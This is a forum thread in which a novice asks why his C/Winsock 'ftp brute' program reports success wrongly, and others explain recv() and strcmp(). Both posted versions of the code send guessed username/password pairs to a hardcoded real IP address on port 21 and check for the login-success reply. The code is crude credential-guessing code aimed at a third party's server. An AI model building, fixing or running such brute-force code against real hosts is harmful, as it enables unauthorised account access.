Help in ftp code

I was coding a simple ftp brute as a excerise in networking but i have problem everytime it alawys post pw even if it doesnt recived string loged in help thanks.

Code:

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>
#pragma comment(lib,"wsock32.lib")
#define sleep_time 400
#define Bigsleep 2000
char *USERandPW[]=
{
    "USER sss\r\nPASS ssss\r\n",
        "USER illustion\r\nPASS KARIM\r\n",
        "USER BADANIE\r\nPASS MOFO\r\n",
        "USER MOFO\r\nPASS a7a",
        "USER LOLZ\r\nPASS badnie"
};
void validator(char *question,char *NOTE)
{
    MessageBox(NULL,question,NOTE,MB_OK);
}
void list_counter(int *listsize)
{
    *listsize=(sizeof (USERandPW) /sizeof ( char * ));
}
void ftp_connector()
{
    const char *Site="64.89.23.139";
    char Okay[]="we are in now we preforming the function";
    char note[]="IRC OKAY";
    char badan[]="Function failed";
    char rec[]="logged in.";
    WORD sockversion;
    WSADATA wsadata;
    SOCKET FTP_cnt;
    SOCKADDR_IN server_info;
    int list_size;
    char *pw;
    sockversion=MAKEWORD(2,2);
    
    WSAStartup(sockversion,&wsadata);
    FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(FTP_cnt==INVALID_SOCKET)
    {
        MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
        exit(0);
    }
    
    server_info.sin_family = AF_INET;
    server_info.sin_addr.s_addr=inet_addr(Site);
    server_info.sin_port=htons(21);
    list_counter(&list_size);
    pw=USERandPW[rand() % list_size];
    if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
    {    
        send(FTP_cnt,pw,strlen(pw),0);
        if(recv(FTP_cnt,rec,strlen(rec),0))
            MessageBox(NULL,pw,pw,MB_OK);
        else
            MessageBox(NULL,"Password wrong","wrong pw",MB_OK);

        Sleep(Bigsleep);

        MessageBox(NULL,"We are out","OUTING",MB_OK);

        WSACleanup();
    }
    else
    {
        validator(badan,badan);
        WSACleanup();
    }
}
int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
{
    srand(GetTickCount());
    ftp_connector();
    WSACleanup();
}

i thought everytime it recived string loged in it should post the info but it doesnt i dunno whats the problem with this.

Moved to Networking/Device Communication forum.

> if(recv(FTP_cnt,rec,strlen(rec),0))
How is this supposed to verify anything, other than that at least 1 byte has been received (or indeed, the connection has been terminated).

oh i thought it checked if it recived that string?

sorry a question coz i dont get rec() function that much what does it do it recived a string or what ?

like lets say We use send() to send ping and we use rec() to chk if we got pong ? because
that johnnie winsock tut doesnt tell much abt rec function or send i figured it out myself

recv() just receives data.
All it can tell you is whether the receive actually worked or not, and if it did work, how many bytes were received.

The content of those bytes, well that's up to you to figure out.

how can i chk data in networking if i got like data etc?

like with recv i just wanna do like to recv info from protocol but i have to intilize it first could i just use a buffer without initlizing it and then compare ? after that ?

strcmp(), but be aware that you MAY need to receive more than one packet of data to make a full message.

--
Mats

Just a suggestion, but you should probably learn simpler concepts like string operations BEFORE you tackle socket programming.

i alrdy know string operation but whish i dont get is recv coz but now i think i got it like first pass a normal buff to recv then i check if it received the string or not
but i made i think a problem now it goes right away to function failed ... :S

Code:

#include "inc.h"
void validator(char *question,char *NOTE)
{
	MessageBox(NULL,question,NOTE,MB_OK);
}
void list_counter(int *listsize)
{
	*listsize=(sizeof (USERandPW) /sizeof ( char * ));
}

void ftp_connector()
{
	const char *Site="64.89.23.139";
	char Okay[]="we are in now we preforming the function";
	char note[]="IRC OKAY";
	char badan[]="Function failed";
	char buff[100];
	WORD sockversion;//WORD is same as unsigned char 2 byes long
	WSADATA wsadata;
	SOCKET FTP_cnt;//we use this socket to pass in information
	SOCKADDR_IN server_info;
	int list_size;
	char *pw;

	sockversion=MAKEWORD(2,2);//we would like to use winsock ver 2.2
	/*we BEGIN INTILIZING WINSOCK*/
	WSAStartup(sockversion,&wsadata);
	FTP_cnt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if(FTP_cnt==INVALID_SOCKET)
	{
		MessageBox(NULL,"FUNCTION FAILED","FAILING FUNC",MB_OK);
		exit(0);
	}
	// Use a SOCKADDR_IN struct to fill in address information
	server_info.sin_family = AF_INET;
	server_info.sin_addr.s_addr=inet_addr(Site);
	server_info.sin_port=htons(21);
	list_counter(&list_size);
	pw=USERandPW[rand() % list_size];
	if(connect(FTP_cnt,(struct sockaddr*)&server_info,sizeof server_info)==0)
	{	
		send(FTP_cnt,pw,strlen(pw),0);
		recv(FTP_cnt,buff,sizeof buff,0);
		if( strncmp( buff, "230", 3 ) == 0 )
			MessageBox(NULL,pw,"loged in",MB_OK);

		Sleep(Bigsleep);

		MessageBox(NULL,"We are out","OUTING",MB_OK);

		WSACleanup();
	}
	else
	{
		validator(badan,badan);
		WSACleanup();
	}
}
int WINAPI WinMain(IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
{
	srand(GetTickCount());
	ftp_connector();
	WSACleanup();
}

i tried strncmp my code winsock failed right away
i dunno why it failed and it didnt even go to send part

What are you actually receiving - have you tried printing it?

--
Mats

i m trying to recive 230 whish is user loged but problem like should i make recv the buffer of it nothing just get packets from net then i chk if its right or wrong or put a value to the buffer because i m confused abt this ....

Originally Posted by lolguy

i m trying to recive 230 whish is user loged but problem like should i make recv the buffer of it nothing just get packets from net then i chk if its right or wrong or put a value to the buffer because i m confused abt this ....

You need to RECEIVE the data from the net, so you need a buffer to store the data in, and you need to somehow determine that you have received all you need for this time - I'd guessin the FTP case that this would mean that there is a newline at the end of the message.

Once you have it all, you need to use strcmp() to compare the string with what you expect.

--
Mats